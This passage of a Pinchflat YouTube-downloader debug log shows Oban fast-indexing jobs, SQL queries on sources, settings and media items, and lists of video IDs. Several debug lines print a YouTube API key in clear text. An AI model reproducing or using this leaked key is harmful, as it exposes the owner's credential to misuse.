m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 15:57:21.279 [debug] QUERY OK source="media_items" db=0.7ms idle=155.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 15:57:21.280 [debug] QUERY OK source="tasks" db=0.1ms idle=156.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799868, 36, ~U[2026-02-10 21:57:21Z], ~U[2026-02-10 21:57:21Z]] 15:57:21.280 [info] {"args":{"id":36},"id":3799829,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":157837,"event":"job:stop","queue_time":528583,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:27.587 [info] {"source":"oban","duration":11317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:34.135 [info] {"args":{"id":23},"id":3799830,"meta":{},"system_time":1770760654135627321,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:34.136 [debug] QUERY OK source="sources" db=0.7ms idle=1257.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 15:57:34.136 [debug] QUERY OK source="settings" db=0.0ms idle=1258.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:34.136 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:34.137 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:34.137 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 15:57:34.137 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:34.137 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:34.256 [debug] QUERY OK source="media_items" db=0.5ms idle=119.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 15:57:34.256 [debug] QUERY OK source="media_items" db=0.2ms idle=119.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 15:57:34.257 [debug] QUERY OK source="tasks" db=0.1ms idle=120.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799869, 23, ~U[2026-02-10 21:57:34Z], ~U[2026-02-10 21:57:34Z]] 15:57:34.257 [info] {"args":{"id":23},"id":3799830,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122163,"event":"job:stop","queue_time":544780,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:36.137 [info] {"args":{"id":10},"id":3799831,"meta":{},"system_time":1770760656137825554,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:36.137 [info] {"args":{"id":34},"id":3799832,"meta":{},"system_time":1770760656137881985,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:36.138 [debug] QUERY OK source="sources" db=0.1ms idle=259.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 15:57:36.138 [debug] QUERY OK source="sources" db=0.2ms idle=259.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 15:57:36.138 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:36.138 [debug] QUERY OK source="settings" db=0.2ms idle=259.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:36.138 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:36.138 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:36.139 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:36.139 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:36.139 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 15:57:36.139 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 15:57:36.139 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:36.139 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:36.139 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:36.139 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:36.349 [debug] QUERY OK source="media_items" db=0.7ms idle=209.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 15:57:36.351 [debug] QUERY OK source="media_items" db=1.0ms idle=211.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 15:57:36.352 [debug] QUERY OK source="tasks" db=0.1ms idle=212.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799870, 34, ~U[2026-02-10 21:57:36Z], ~U[2026-02-10 21:57:36Z]] 15:57:36.352 [info] {"args":{"id":34},"id":3799832,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":214402,"event":"job:stop","queue_time":450310,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:36.461 [debug] QUERY OK source="media_items" db=0.6ms idle=108.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 15:57:36.464 [debug] QUERY OK source="media_items" db=2.1ms idle=109.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 15:57:36.464 [debug] QUERY OK source="tasks" db=0.1ms idle=106.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799871, 10, ~U[2026-02-10 21:57:36Z], ~U[2026-02-10 21:57:36Z]] 15:57:36.465 [info] {"args":{"id":10},"id":3799831,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":327150,"event":"job:stop","queue_time":537028,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:37.139 [info] {"args":{"id":9},"id":3799833,"meta":{},"system_time":1770760657138985385,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:37.139 [info] {"args":{"id":8},"id":3799834,"meta":{},"system_time":1770760657139024717,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:37.139 [debug] QUERY OK source="sources" db=0.1ms idle=674.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 15:57:37.139 [debug] QUERY OK source="sources" db=0.1ms idle=674.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 15:57:37.139 [debug] QUERY OK source="settings" db=0.0ms idle=667.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:37.139 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:37.139 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 